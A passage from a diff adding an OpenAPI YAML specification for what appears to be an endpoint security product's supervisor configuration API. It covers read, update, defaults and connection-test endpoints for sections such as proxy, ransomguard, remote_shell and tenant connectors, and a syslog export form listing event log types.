+          schema:
+            $ref: '#/definitions/NewThreatAggregation'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NewThreatAggregation'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/new_threat_aggregation/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_new_threat_aggregation_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/NewThreatAggregation'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/orion/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_orion_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetOrion'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_orion_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditOrion'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetOrion'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/orion/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_orion_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetOrion'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/orion/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: supervisor_config_orion_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditOrion'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - supervisor_configuration
+  /supervisor_config/password_security/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_password_security_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PasswordSecurity'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_password_security_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PasswordSecurity'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PasswordSecurity'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/password_security/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_password_security_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PasswordSecurity'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/pdf_retention/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_pdf_retention_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PDFRetention'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_pdf_retention_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/PDFRetention'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PDFRetention'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/pdf_retention/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_pdf_retention_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/PDFRetention'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/proxy/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_proxy_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetProxy'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_proxy_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditProxy'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetProxy'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/proxy/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_proxy_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetProxy'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/proxy/test/:
+    parameters: []
+    post:
+      description: Test connector connection with provided settings. Does not save any change.
+      operationId: supervisor_config_proxy_test
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditProxy'
+      responses:
+        "200":
+          description: Configuration is valid
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+        "400":
+          description: Bad request
+          schema:
+            $ref: '#/definitions/ConnectorTest'
+      summary: Test connector connection
+      tags:
+        - supervisor_configuration
+  /supervisor_config/ransomguard/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_ransomguard_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Ransomguard'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_ransomguard_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Ransomguard'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Ransomguard'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/ransomguard/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_ransomguard_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Ransomguard'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/ransomguard_heuristic/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_ransomguard_heuristic_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RansomguardHeuristic'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_ransomguard_heuristic_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RansomguardHeuristic'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RansomguardHeuristic'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/ransomguard_heuristic/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_ransomguard_heuristic_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RansomguardHeuristic'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/remote_shell/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_remote_shell_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShell'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_remote_shell_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/RemoteShell'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShell'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/remote_shell/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_remote_shell_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/RemoteShell'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/security/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_security_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Security'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_security_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Security'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Security'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/security/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_security_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Security'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/sidewatch/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_sidewatch_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Sidewatch'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters: []
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_sidewatch_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Sidewatch'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Sidewatch'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/sidewatch/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_sidewatch_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Sidewatch'
+      tags:
+        - supervisor_configuration
+    parameters: []
+  /supervisor_config/tenant/{tenant}/agent_cleaning/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_agent_cleaning_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentCleaning'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_agent_cleaning_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/AgentCleaning'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentCleaning'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/agent_cleaning/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_tenant_agent_cleaning_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/AgentCleaning'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/alerter_ioc/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_alerter_ioc_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOCConfig'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_alerter_ioc_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/IOCConfig'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOCConfig'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/alerter_ioc/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_tenant_alerter_ioc_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/IOCConfig'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/assemblyline/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_assemblyline_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetAssemblyline'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_assemblyline_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditAssemblyline'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetAssemblyline'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/assemblyline/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_tenant_assemblyline_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetAssemblyline'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/binaries_retention/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_binaries_retention_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/BinariesRetention'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_binaries_retention_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/BinariesRetention'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/BinariesRetention'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/binaries_retention/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_tenant_binaries_retention_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/BinariesRetention'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/cape/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_cape_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetCape'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_cape_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditCape'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetCape'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/cape/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_tenant_cape_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetCape'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/collector/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_collector_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Collector'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_collector_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Collector'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Collector'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/collector/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_tenant_collector_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Collector'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/connector_misp/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_connector_misp_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetMisp'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_connector_misp_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EditMisp'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetMisp'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/connector_misp/defaults/:
+    get:
+      description: Get default connector configuration
+      operationId: supervisor_config_tenant_connector_misp_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetMisp'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/customization/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_customization_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Customization'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_customization_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Customization'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Customization'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/customization/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_tenant_customization_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Customization'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/downloader/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_downloader_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Downloader'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_downloader_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/Downloader'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Downloader'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/downloader/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_tenant_downloader_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/Downloader'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/es_ilm_indices__policies/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_es_ilm_indices__policies_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ESILMIndicesPolicies'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_es_ilm_indices__policies_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ESILMIndicesPolicies'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ESILMIndicesPolicies'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/es_ilm_indices__policies/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_tenant_es_ilm_indices__policies_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ESILMIndicesPolicies'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/es_indices__replicas/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_es_indices__replicas_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ESIndicesReplicas'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_es_indices__replicas_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/ESIndicesReplicas'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ESIndicesReplicas'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/es_indices__replicas/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_tenant_es_indices__replicas_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/ESIndicesReplicas'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/event_stacktrace/:
+    get:
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_event_stacktrace_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/EventStackTrace'
+      summary: Get section configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_event_stacktrace_partial_update
+      parameters:
+        - in: body
+          name: data
+          required: true
+          schema:
+            $ref: '#/definitions/EventStackTrace'
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/EventStackTrace'
+        "400":
+          description: Bad request
+      summary: Update section configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/event_stacktrace/defaults/:
+    get:
+      description: Get default section configuration
+      operationId: supervisor_config_tenant_event_stacktrace_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/EventStackTrace'
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+  /supervisor_config/tenant/{tenant}/export/:
+    get:
+      consumes:
+        - multipart/form-data
+      description: |-
+        If the stored configuration is invalid, an additional field `errors` is returned with the format:
+
+        ```json
+        {"field": ["error1", "error2"], "field2": ["error3", "error4"]}
+        ```
+      operationId: supervisor_config_tenant_export_read
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExport'
+      summary: Get connector configuration
+      tags:
+        - supervisor_configuration
+    parameters:
+      - in: path
+        name: tenant
+        required: true
+        type: string
+    patch:
+      consumes:
+        - multipart/form-data
+      description: Missing fields are set to their default value.
+      operationId: supervisor_config_tenant_export_partial_update
+      parameters:
+        - default: false
+          in: formData
+          name: enabled
+          required: false
+          type: boolean
+        - in: formData
+          minLength: 1
+          name: host
+          required: false
+          type: string
+          x-nullable: true
+        - in: formData
+          maximum: 65535
+          minimum: 1
+          name: port
+          required: false
+          type: integer
+          x-nullable: true
+        - enum:
+            - rfc3164
+            - rfc5424
+          in: formData
+          name: rfc
+          required: false
+          type: string
+          x-nullable: true
+        - enum:
+            - ssl-tcp
+            - tcp
+            - udp
+          in: formData
+          name: protocol
+          required: false
+          type: string
+          x-nullable: true
+        - collectionFormat: multi
+          default: []
+          in: formData
+          items:
+            enum:
+              - agent
+              - agentlog
+              - alert
+              - amsi_scan
+              - auditlog
+              - authentication
+              - bpf
+              - connectionlog
+              - dns_resolution
+              - driverload
+              - eventlog
+              - experimental_alert
+              - file
+              - group
+              - informational_alert
+              - injectedthread
+              - investigation
+              - kube_pod_event
+              - library_load
+              - named_pipe
+              - network
+              - network_listen
+              - powershell
+              - process
+              - process_access
+              - process_duplicate_handle
+              - process_ptrace
+              - process_tamper
+              - raw_device_access
+              - raw_socket_creation
+              - registry
+              - remotethread
+              - resource
+              - scheduled_task
+              - threat
+              - url_request
+              - usb_activity
+              - user
+              - win32k_get_async_key_state
+              - win32k_register_raw_input_devices
+              - win32k_set_windows_hook_ex
+              - windows_service
+              - wmi_event
+            type: string
+          name: logs
+          required: false
+          type: array
+          x-nullable: true
+        - default: false
+          in: formData
+          name: ssl_verify
+          required: false
+          type: boolean
+        - default: hurukai
+          in: formData
+          minLength: 1
+          name: app_name
+          required: false
+          type: string
+        - default: hurukai
+          in: formData
+          minLength: 1
+          name: source_host
+          required: false
+          type: string
+        - in: formData
+          minLength: 1
+          name: structured_data
+          required: false
+          type: string
+          x-nullable: true
+        - default: false
+          in: formData
+          name: exclude_rule_content
+          required: false
+          type: boolean
+        - in: formData
+          name: ssl_cacert
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ssl_cert
+          required: false
+          type: file
+          x-nullable: true
+        - in: formData
+          name: ssl_key
+          required: false
+          type: file
+          x-nullable: true
+      responses:
+        "200":
+          description: ""
+          schema:
+            $ref: '#/definitions/GetExport'
+        "400":
+          description: Bad request
+      summary: Update connector configuration
+      tags:
+        - supervisor_configuration
+  /supervisor_config/tenant/{tenant}/export/defaults/:
+    get:
+      consumes:
+        - multipart/form-data
+      description: Get default connector configuration
+      operationId: supervisor_config_tenant_export_defaults
+      parameters: []
+      responses:
+        "200":
+          description: ""
+          schema:
